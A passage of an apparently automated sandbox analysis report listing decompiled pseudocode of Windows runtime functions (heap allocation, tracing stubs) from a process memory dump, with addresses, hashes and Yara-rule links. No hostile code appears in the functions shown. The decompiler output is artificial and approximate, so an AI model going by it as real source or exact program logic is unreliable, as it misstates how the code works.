				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E01297D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x0130fe96
0x0130fe9e
0x0130fea1
0x0130fead
0x0130feb3
0x0130feb9
0x0130fec3
0x0130fed5
0x0130fec5
0x0130fece
0x0130fece
0x0130fee0
0x0130fee1
0x0130fee3
0x0130fee8
0x0130fefb

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1723a9983169644bc738d7f04cd7ba5f73e16673a4f20ec27b50d7c26c18efb4
Instruction ID: 7e815b44032ec12ce4296efea5d811e337cd6adc1d04973e4f79ba44e4b9b777
Opcode Fuzzy Hash: 1723a9983169644bc738d7f04cd7ba5f73e16673a4f20ec27b50d7c26c18efb4
Instruction Fuzzy Hash: 08016270A1020DAFCB14DFA8D541A6EB7F8EF04704F144169E548EB382D635DD01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0133131B, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0133131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x136d360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E01297D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x0133131b
0x0133132a
0x01331330
0x01331336
0x0133133e
0x01331341
0x01331344
0x0133134f
0x01331361
0x01331351
0x0133135a
0x0133135a
0x0133136c
0x0133136d
0x0133136f
0x01331374
0x01331387

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe7136411311bd2e8b3e053488b196de4ff96e053e1d90c8cf91495777a7abc
Instruction ID: d9ccf5aa19241b34aa5a86e6b9166a97e38c345249ca662b89ae2bbd08fca700
Opcode Fuzzy Hash: 4fe7136411311bd2e8b3e053488b196de4ff96e053e1d90c8cf91495777a7abc
Instruction Fuzzy Hash: FC013C71A1124DAFCB44EFA9D545AAEB7F8FF58700F108059F945EB391E6349A00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01348F6A, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E01348F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x136d360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E01297D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x01348f6a
0x01348f79
0x01348f81
0x01348f84
0x01348f8b
0x01348f91
0x01348f94
0x01348f9e
0x01348fb0
0x01348fa0
0x01348fa9
0x01348fa9
0x01348fbb
0x01348fbc
0x01348fbe
0x01348fc3
0x01348fd6

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d34f3afa7f48da044fe170c7f126ad8417e76aae95872064cb5aabf2332b965
Instruction ID: 052f5555895a216aced6223274c28c14246b814c96f75d6ba1e08f032238208b
Opcode Fuzzy Hash: 9d34f3afa7f48da044fe170c7f126ad8417e76aae95872064cb5aabf2332b965
Instruction Fuzzy Hash: 5B014474A1020DAFDB00EFA8D545AAEB7F4EF18300F104059F945EB380DA34EA00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01331608, Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E01331608(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_t26 = __edx;
				_v8 =  *0x136d360 ^ _t29;
				_v12 = _a4;
				_v20 = __ecx;
				_v16 = __edx;
				_v46 = 0x1024;
				if(E01297D50() == 0) {
					_t15 = 0x7ffe0380;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t21, _v8 ^ _t29, _t26, _t27, _t28);
			}

0x01331608
0x01331617
0x0133161d
0x01331625
0x01331628
0x0133162b
0x01331636
0x01331648
0x01331638
0x01331641
0x01331641
0x01331653
0x01331654
0x01331656
0x0133165b
0x0133166e

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f60833bbddfb69a947741825bfa9d5a3ddfa7e64dfb322260bbccf461152749
Instruction ID: 5604f6ed1bc265cf9b5f9053fcca0ec4e2c3f7d440d2d65d4e0a838d18b65e06
Opcode Fuzzy Hash: 9f60833bbddfb69a947741825bfa9d5a3ddfa7e64dfb322260bbccf461152749
Instruction Fuzzy Hash: C2F06D71E10248EFDB14EFE9D845AAEBBF8EF58300F044069E905EB391EA349900DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0129C577, Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0129C577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E0129C5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x12511cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
					if(__eflags != 0) {
						L10:
						E013488F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}

0x0129c577
0x0129c57d
0x0129c581
0x0129c5b5
0x0129c5b9
0x0129c5ce
0x0129c5ce
0x0129c5ca
0x00000000
0x0129c5ca
0x0129c5c4
0x0129c5c8
0x00000000
0x00000000
0x00000000
0x0129c5ad
0x00000000
0x0129c5af

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dbc46408485681856799ee15e52ca68f5b566f6686f385b12a51dc619832097
Instruction ID: 574a2e24dc21ea85f2521afc81f7fdf085eb29da168aafda60a76cedbb022594
Opcode Fuzzy Hash: 4dbc46408485681856799ee15e52ca68f5b566f6686f385b12a51dc619832097
Instruction Fuzzy Hash: 1AF0E2F29756929FEF36D76CE044B227FE89B05674F4488AFD706A7202C7B4D8A0C250

Uniqueness

Uniqueness Score: -1.00%

Function 01332073, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E01332073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E0132FD22(__ecx);
				_t19 =  *0x136849c - _t3; // 0x14a2e96a
				if(_t19 == 0) {
					__eflags = _t17 -  *0x1368748; // 0x0
					if(__eflags <= 0) {
						E01331C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0x1368724 & 0x00000004;
							if(( *0x1368724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0x1368724; // 0x0
					return E01328DF1(__ebx, 0xc0000374, 0x1365890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}

0x01332076
0x01332078
0x0133207d
0x01332083
0x013320a4
0x013320aa
0x013320ac
0x013320b7
0x013320ba
0x013320bc
0x013320c9
0x013320c9
0x013320d0
0x013320d2
0x00000000
0x013320d2
0x013320be
0x013320c3
0x013320c5
0x013320c7
0x00000000
0x00000000
0x013320c7
0x013320bc
0x013320d4
0x01332085
0x01332085
0x013320a3
0x013320a3

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9f99860cfa8d8a85e9dccc57fcf1d09da0cf452807291e2525520195d8d7e3e
Instruction ID: 5f6a8900271d3360339a37585c7f4cf89f1aa61f61c5b45aca9e8d91473f7fc5
Opcode Fuzzy Hash: a9f99860cfa8d8a85e9dccc57fcf1d09da0cf452807291e2525520195d8d7e3e
Instruction Fuzzy Hash: 44F0E53A4152954ADF336B3C75113E3BFDAD7D925CF0A44C5D4901720AC538889BDB6C

Uniqueness

Uniqueness Score: -1.00%

Function 012B927A, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E012B927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E012BFA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E012B92C6(_t11, _t14);
				}
				return _t11;
			}

0x012b9295
0x012b9299
0x012b929f
0x012b92aa
0x012b92ad
0x012b92ae
0x012b92af
0x012b92b0
0x012b92b4
0x012b92bb
0x012b92bb
0x012b92c5

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: f191e2bccd8da4883772cf452f3b7d1affc7b0c1e872308e98ba6c3695010d17
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: D3E02B723505416BEB119E09CCC0F53376DDF92724F004078FA005E242C6E5DC09C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 01348D34, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E01348D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0x136d360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E01297D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x01348d34
0x01348d43
0x01348d4b
0x01348d4e
0x01348d52
0x01348d5c
0x01348d6e
0x01348d5e
0x01348d67
0x01348d67
0x01348d79
0x01348d7a
0x01348d7c
0x01348d81
0x01348d94

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d98884965c459a98ac8e321aa8e34fe82238faaf2312c69f45e21db1a5e173df
Instruction ID: f46c75236098d97b49356ca9e3fc01e927253d59be0c161ed8cd1993a5095e8c
Opcode Fuzzy Hash: d98884965c459a98ac8e321aa8e34fe82238faaf2312c69f45e21db1a5e173df
Instruction Fuzzy Hash: 36F0B470E1460C9FDB14EFB8D441ABE77B8EF14300F108099E945EB290DA34E900CB54

Uniqueness

Uniqueness Score: -1.00%

Function 01348B58, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E01348B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x136d360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E01297D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x01348b67
0x01348b6f
0x01348b72
0x01348b7d
0x01348b8f
0x01348b7f
0x01348b88
0x01348b88
0x01348b9a
0x01348b9b
0x01348b9d
0x01348ba2
0x01348bb5

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0ec6ae5ee9c4b0c1b5cc2f34bf431c243887d6809a5d690797c47e600a9fb99
Instruction ID: 0160e7d030a0b8e81382a4ceb2c4b1390a67b4dff98a37588cb17b217ee25a2b
Opcode Fuzzy Hash: e0ec6ae5ee9c4b0c1b5cc2f34bf431c243887d6809a5d690797c47e600a9fb99
Instruction Fuzzy Hash: 4CF082B0A14259AFDF10EBA8D946E7E77B8EF04304F140499FA05EB390EA34E900C794

Uniqueness

Uniqueness Score: -1.00%

Function 0129746D, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0129746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E0128EB70(__ecx, 0x13679a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E012B95D0();
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}

0x0129746d
0x0129746d
0x0129746d
0x01297471
0x01297488
0x012df92d
0x0129748e
0x01297491
0x01297495
0x012df937
0x012df93a
0x012df94e
0x012df953
0x012df956
0x012df956
0x01297495
0x00000000
0x01297488
0x01297473
0x01297478
0x0129747d
0x01297481
0x00000000
0x01297481
0x0129747d
0x0129747a
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 204c362e8163aeb5a861f652103e400090de6299cb6132342e42c0dae41e7cc5
Instruction ID: f2afd81fa0507022b3f23c12428bc55a2f99ac4900920b9c0dea8e64a0438a62
Opcode Fuzzy Hash: 204c362e8163aeb5a861f652103e400090de6299cb6132342e42c0dae41e7cc5
Instruction Fuzzy Hash: E4F0E234930146EADF029B6CC942FB9BFB1EF14354F445215DA92AB163E7B49801CF99

Uniqueness

Uniqueness Score: -1.00%

Function 01348CD6, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E01348CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x136d360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E01297D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x01348ce5
0x01348ced
0x01348cf0
0x01348cfb
0x01348d0d
0x01348cfd
0x01348d06
0x01348d06
0x01348d18
0x01348d19
0x01348d1b
0x01348d20
0x01348d33

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc1e52500c3a4cbaaee404bec2aacbacc3c1c96f272e99c4009b60f0f3228b09
Instruction ID: d69ea121cd721fd89c69dc10c2d7a96a0b138bd53b70684203948a7e982e3b8b
Opcode Fuzzy Hash: cc1e52500c3a4cbaaee404bec2aacbacc3c1c96f272e99c4009b60f0f3228b09
Instruction Fuzzy Hash: F2F0E270A15209AFCF00DBE8D845EAE77B8EF1A304F200199E942EB280EA34E900C754

Uniqueness

Uniqueness Score: -1.00%

Function 01274F2E, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01274F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E013488F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E0129C5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x1251030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}

0x01274f2e
0x01274f34
0x01274f38
0x012d0b85
0x012d0b85
0x012d0b89
0x012d0b9a
0x012d0b9a
0x012d0b9f
0x00000000
0x012d0b9f
0x012d0b94
0x012d0b98
0x00000000
0x00000000
0x00000000
0x012d0b98
0x01274f3e
0x01274f48
0x00000000
0x01274f6e
0x00000000
0x01274f70

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6596272770ec3c4e64daf9c2d733e40dd9b502e13c8c53a57d404f9a20198ae2
Instruction ID: f3882690c3ee05ebc22a33d5572534289d04ea9a59c141a04902b5a733a6edc3
Opcode Fuzzy Hash: 6596272770ec3c4e64daf9c2d733e40dd9b502e13c8c53a57d404f9a20198ae2
Instruction Fuzzy Hash: 68F0E2329396868FE772DB1CD184B22BBD4AF00778F444464EA0587932E734EC40C74C

Uniqueness

Uniqueness Score: -1.00%

Function 012AA44B, Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012AA44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0x1367b9c; // 0x0
				_t15 = __ecx;
				_t16 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E012BFA60(_t17, 0, _t15 << 2);
				return _t17;
			}

0x012aa44b
0x012aa453
0x012aa472
0x012aa476
0x00000000
0x012aa493
0x012aa47a
0x012aa47f
0x012aa486
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 430126788cbbf50410702880383b08035df77c9536edcc2fc4d7b45f2d760bb2
Instruction ID: bfdc7da0f256d6db6375a560496318aaf32c0089b6c929dccf6f39d7d5d674a1
Opcode Fuzzy Hash: 430126788cbbf50410702880383b08035df77c9536edcc2fc4d7b45f2d760bb2
Instruction Fuzzy Hash: F5E09272A21422ABD3215A58AC00F66779DEFE5755F094035FA04D7214D668DD02C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0127F358, Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0127F358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E012AF3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L01294620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}

0x0127f35d
0x0127f361
0x0127f367
0x0127f372
0x0127f38c
0x0127f38c
0x0127f394

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: 2f413aa500f4da4bc5aa1b7ed134cb8c2c790aaef08e04388a46c926c50016ad
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: F6E0DF32A51258FBDB21ABDD9F06FABBFACDB58A60F000295BA04D7150D5789E00C2E1

Uniqueness

Uniqueness Score: -1.00%

Function 0128FF60, Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0128FF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x12511a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E013488F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E01290050(_t14);
				}
			}

0x0128ff66
0x0128ff6b
0x00000000
0x0128ff8f
0x00000000
0x0128ff8f

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fe1f0d00db58bf37c5f0669a9b1c0d202d642807da8baa370d6fec5b2180b2a
Instruction ID: 29ccec7fb89f3224c8770397a891ed3fd1f81b3eaa6516753c413a05ba6ce48d
Opcode Fuzzy Hash: 9fe1f0d00db58bf37c5f0669a9b1c0d202d642807da8baa370d6fec5b2180b2a
Instruction Fuzzy Hash: 57E0D8B03362059FD735E759D240F253B9C9B62722F19805DE908471C2C621D840C299

Uniqueness

Uniqueness Score: -1.00%

Function 013041E8, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E013041E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0x13508f0);
				_t5 = E012CD08C(__ebx, __edi, __esi);
				if( *0x13687ec == 0) {
					E0128EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0x13687ec == 0) {
						 *0x13687f0 = 0x13687ec;
						 *0x13687ec = 0x13687ec;
						 *0x13687e8 = 0x13687e4;
						 *0x13687e4 = 0x13687e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L01304248();
				}
				return E012CD0D1(_t5);
			}

0x013041e8
0x013041ea
0x013041ef
0x013041fb
0x01304206
0x0130420b
0x01304216
0x0130421d
0x01304222
0x0130422c
0x01304231
0x01304231
0x01304236
0x0130423d
0x0130423d
0x01304247

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec0c9ac8b33316d05d6ee858e68f6a827abb03380a40a870177fe029ffe4662
Instruction ID: 7abea358d1408e8062de93ad0ec9ae5fe27db9254ce7378f3b6f71275824af4c
Opcode Fuzzy Hash: cec0c9ac8b33316d05d6ee858e68f6a827abb03380a40a870177fe029ffe4662
Instruction Fuzzy Hash: 1FF01578961705DECBB1EFA9E5087143AECFB9872AF0081AAD200876A8D73845A4CF01

Uniqueness

Uniqueness Score: -1.00%

Function 0132D380, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0132D380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L0127E8B0(__ecx, _a4, 0xfff);
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}

0x0132d38a
0x0132d39b
0x0132d3b1
0x00000000
0x0132d3b6
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: 7a12b1fb02be9d361d18562e1aa750c62f31151dfbc968bfa62211da9482cb81
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: E4E0C231280219BBDB226E88CC00FB97B1ADB507A4F104031FE085BAA0C6719C91DAD4

Uniqueness

Uniqueness Score: -1.00%

Function 012AA185, Relevance: .0, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012AA185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0x13667e4 >= 0xa) {
					if(_t5 < 0x1366800 || _t5 >= 0x1366900) {
						return L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E01290010(0x13667e0, _t5);
				}
			}

0x012aa190
0x012aa1a6
0x012aa1c2
0x00000000
0x00000000
0x00000000
0x012aa192
0x012aa192
0x012aa19f
0x012aa19f

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f044540b26a194af218f73ae7316668006f6fe9f6b8b4b27bf5a6162e9de4f88
Instruction ID: 90bf45717744fc988e69320c19d82a9c2d75221e0d400d3e73b2944b5f3c2152
Opcode Fuzzy Hash: f044540b26a194af218f73ae7316668006f6fe9f6b8b4b27bf5a6162e9de4f88
Instruction Fuzzy Hash: 91D02BF11310002BCB2D17148815B39361EFB907D4F34C40CF2034B5A8ED549CD8D148

Uniqueness

Uniqueness Score: -1.00%

Function 012A16E0, Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012A16E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E012A1710(0x13667e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L01294620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}

0x012a16e8
0x012a16ef
0x012a16f3
0x012a16fe
0x00000000
0x012a1700
